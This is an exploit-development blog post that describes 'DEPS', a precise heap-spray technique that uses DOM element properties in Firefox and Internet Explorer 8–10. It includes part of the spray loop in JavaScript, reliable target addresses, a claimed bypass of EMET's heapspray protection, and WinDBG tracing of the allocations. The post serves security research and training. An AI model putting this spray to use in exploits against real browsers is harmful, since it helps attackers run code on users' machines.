Please consider donating: https://www.corelan.be/index.php/donate/


31,728 views

DEPS – Precise Heap Spray on Firefox and IE10

Introduction

Last week, while doing my bi-weekly courseware review and update, I discovered that my heap spray script for Firefox 9 no longer works on recent versions.  Looking back at the type of tricks I had to use to make a precise spray work under Firefox 9 and IE 9, and realizing that these changes don’t seem to have any useful effect on Firefox or IE 10, I think it’s fair to state that we can no longer rely on classic BSTR string allocations to perform a precise heap spray, or any heap spray for that matter.

On top of that, the Firefox 9 heap spray was not only ugly, it was also pretty slow, which might be a deal-breaker for reliable exploitation.  If the user gets the chance to kill the browser process before the spray has finished and the bug is triggered, you won’t be greeted with a  shell.

Of course, that doesn’t mean it is now impossible to perform a precise heap spray in modern browsers.   Federico Muttis and Anibal Sacco from Core security recently published the results of their research on HTML5 spraying, which offers a great way to take advantage of new technology to perform heap allocations in modern browsers.  The advantage of their technique is that HTML5 is not limited to just IE or Firefox, since it also works on Webkit based browsers such as Google Chrome and Safari.  Federico & Anibal were kind enough to provide me with the source of their script to create html5 based spray routines. You can download the script at http://redmine.corelan.be/projects/corelan-heapspray/files (HTML5Spray.zip).  Anyways, I decided not to use HTML5 and wanted to try something different.

It’s a well known fact that the use of BSTR strings to replace a freed object in a browser Use-After-Free scenario can be problematic.  It is generally expected to find the vtable pointer at the top of the object, and that is also exactly where the BSTR header field will be placed after you have replaced the freed object with a BSTR string.  In other words, although you might be able to replace the object, you won’t be able to fake the vtable pointer with something you control.

A common technique to overcome this issue is based on DOM elements.  This technique requires you to create one or more DOM elements (image, div, etc), and then set a property, containing the payload you want to write into the freed object.  For images, this property could be .src  or .title.  For div objects, .className might be a solid option.

Anyways, since this allows you to cause precise allocations (providing that you take the terminating null byte into account, of course), I wanted to see if it would be possible to use the same technique for a full blown heap spray.  After playing with some sizes, I managed to put a script together that works on Firefox, and all versions of Internet Explorer.  On top of that, performance is a lot better than my older heapspray scripts for FF9 and IE9, and because I’m hitting a higher memory region with this type of spray, we can also bypass the default EMET heapspray protection.

The technique

The idea is based on creating a large number of DOM elements and setting an element property to a specific value.  I have tested this concept using button elements,  but I don’t see a reason why this would be limited to buttons only. You might even be able to use a mix of various elements and play with the size where needed.  For that reason, I’ve decided to name this technique "DOM Element Property Spray". Since there seems to be a strong desire in the infosec industry to create confusing 4-letter abbreviations, I decided to name this technique "DEPS".  If your favorite security appliance claims to prevent DEPS, you’ll know what it is. Or not.

Again, the use of DOM elements to cause precise allocations is not new, but I hadn’t seen a heap spray based on this concept. In short, the DEPS technique is based on 4 steps:

  • put a div element on the page
  • Create a number of buttons
  • set the title property with your payload and use substring() to make sure it has the desired length
  • add the button to the div

 

The script

This is what the basic script looks like:

image

You can get a copy of the scripts used in this post here: http://redmine.corelan.be/projects/corelan-heapspray/files  (deps_corelan_ff_ie_spray.zip).  The archive password is ‘infected’ (without the quotes).

As you can see, this script no longer focuses on getting the start of a ROP chain positioned at 0x0c0c0c0c.  Since we can no longer execute code directly (without disabling DEP first), and use 0c0c0c0c as the target for vtable dereferences and nops at the same time, the use of 0x0c0c0c0c as a target has pretty much lost its true value.  On top of that, our target address doesn’t really need to consist of 4 times the same byte.  Allocations should be 4 byte aligned, so we should not have any issues with hitting the right spot every time.

The div element in the document is used as a placeholder, so the div_container.appendChild() can store the elements and their title property in memory and keep them there. Due to the size of the allocations, all chunks are part of the VirtualAllocdBlocks list of the default heap.

The current version of the script targets 0x20202210 or 0x20302210 on Firefox (depending on the number of iterations you’re using – 0x20302210 has been pretty reliable for me so far), and 0x20202228 or 0x20302228 on IE8/9/10 (XP/Win7/Win8). This is quite interesting, because we no longer need to differentiate between IE versions to deliver a precise heap spray. Based on my tests, I found 0x20302228 to be more reliable than 0x20202228.

Of course, it is very easy to change the offset value in the script and move the actual start of the ROP chain to another address, if that is what you need or want to do.   A convenient side effect of this higher memory range is that we’re hitting a higher memory address region, one that contains addresses that consist of ascii printable characters, which might offer some additional benefits in case you’ve found an oldskool stack buffer overflow that has tight character restrictions.

If you want to use a different element property, you could try to play with obj.style.fontFamily as well.  In fact, you can even set 2 different properties at once, which should decrease the number of iterations you need in order to get to a predictable address:

image

Finally, this technique doesn’t require any data randomization at this point, nor ugly tricks with variable names and eval(), which also helps ensuring the spray can be delivered in a relatively fast way.

 

Test environment

In all cases, the latest 32bit version of a specific browser was used, on fully patched versions of the OS.  Tests were performed on virtual machines (VirtualBox, VMWare) and physical machines, and verified to work after reboots.

All tests on Windows 7 were performed with EMET 3.5 enabled & configured to detect/prevent heapsprays:

SNAGHTML539f63b

In Windows 8, tests were performed on a default IE10 installation.

 

Results

Firefox 18 on Windows 7:

firefox18

(this works on OS X too)

IE8 on Windows XP:

image

IE9 on Windows 7:

image

IE10 on Windows 8:

ie10_20302228

In all cases, the heap layout of a chunk that contains the string "AAAABBBBCCCCDDDD…" (which is basically just the indication of where the ROP chain is placed) looks like this:

  • VirtualAlloc Chunk header (0x20 bytes)
  • Junk (spaces)
  • ROP chain (AAAABBBBCCCCDDDD…)
  • Shellcode (\xcc\xcc\xcc\xcc…)
  • Junk (spaces)

 

Spray analysis

What exactly happens when you run the basic version of the DEPS heap spray ?   Let’s do some tracing & logging on Windows XP SP3, IE8.

First of all, let’s change the core routine and insert some calls to Math.atan2() to interact with WinDBG from Javascript:

for (var i = 0; i < 0x500; i++)
{
	Math.atan2(0xbabe, "[*] Creating object button....");
	var obj = document.createElement("button");

	Math.atan2(0xbabe, "[*] Assigning data to title.");
	obj.title = data.substring(0,0x40000-0x58); //aligned spray 

	Math.atan2(0xbabe, "[*] Let's AppendChild");
	div_container.appendChild(obj);
}

The following breakpoint in WinDBG allows you to print out the Math.atan2() messages:

bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"

Next, set the following breakpoint to see when a button gets created:

bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;"

When you run the html page, WinDBG should display the "Creating object button" message and break at the CreateElement function:

[*] Creating object button....
Object at 00214dc0
eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190
eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CButton::CreateElement+0x16:
639944f7 8bf0            mov     esi,eax

Set a breakpoint at RtlAllocateHeap to log all subsequent allocations and print out the call stack. This should give us all allocation information until the next button gets created.

bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g"

With this breakpoint set, continue to run the process.  You will now get information about all allocations within one iteration.

One single iteration creates these allocations:

    Allocate at 0293d588
    Allocate at 0293ea00
    Allocate at 02866780
    Allocate at 039b0020  <--- First interesting allocation
    Allocate at 0293eb68
    Allocate at 03b50020  <--- Second interesting allocation
    Allocate at 02917718
    Allocate at 001eff28
    Allocate at 001effd8
    Allocate at 00217d18
    Allocate at 0293d568
    Allocate at 002150c0

The first interesting allocation happens right after the debugging message "Assigning data to title."

It has the following callstack:

    Allocate at 039b0020
    ChildEBP RetAddr  
    020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac
    020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f
    020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e
    020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c
    020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8
    020bf3f4 633a8561 jscript!JsStrSubstring+0x20
    020bf45c 633a7127 jscript!NatFncObj::Call+0x103
    020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2
    020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c
    020bf554 633a67c9 jscript!VAR::InvokeJSObj<SYM *>+0xb8
    020bf590 633a77ff jscript!VAR::InvokeByName+0x170
    020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
    020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce
    020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab
    020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
    020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
    020bf958 633891f1 jscript!CSession::Execute+0x175
    020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
    020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a
    020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30

Since the first allocation uses jscript!JsStrSubstring, I assume this is triggered by this JScript code

in the spray:

    data.substring(0,0x40000-0x58);

The second allocation occurs right before the debugging message "Let’s AppendChild". It has the

following callstack:

    Allocate at 03b50020
    ChildEBP RetAddr  
    020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac
    020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154
    020bf1c8 63641259 mshtml!CAttrArray::Set+0x174
    020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51
    020bf224 63651849 mshtml!CAttrArray::SetString+0x44
    020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69
    020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200
    020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64
    020bf2e8 6366906f mshtml!CBase::put_String+0x29
    020bf318 636430c9 mshtml!GS_BSTR+0x1ab
    020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1
    020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d
    020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d
    020bf458 633a6d37 mshtml!PlainInvokeEx+0xea
    020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
    020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a
    020bf594 633a9f3c jscript!InvokeDispatchEx+0x98
    020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135
    020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a
    020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27

Since this allocation uses SetString, I assume this is what actually assigns data to the property.

The combination of the use of substring, using a DOM element property, and adding the element to a div that was created in the html document earlier, ensures that copies of the data are created, and allocated in memory.  The string created with substring will eventually disappear, but the SetString() allocated data remains in memory.

(thanks sinn3r for your windbg analysis of the spray)

 

Update – march 6, 2013

After running a series of tests against XP SP3 (IE8), Windows 7 (IE9 and IE10) and Windows 8 (IE10), with some targets running EMET & configured to protect against heapsprays, we discovered that 0x0c0d0228 appears to be a reliable destination for your spray / rop chain, when using 0x350 iterations or more.

An updated/improved versoin of the DEPS heap spray has now been adopted into the Metasploit Framework as well: https://community.rapid7.com/community/metasploit/blog/2013/03/04/new-heap-spray-technique-for-metasploit-browser-exploitation

 


© 2013 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

One Response to DEPS – Precise Heap Spray on Firefox and IE10

  • Pingback: CVE-2013-3897样本分析学习笔记 – BugSec

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories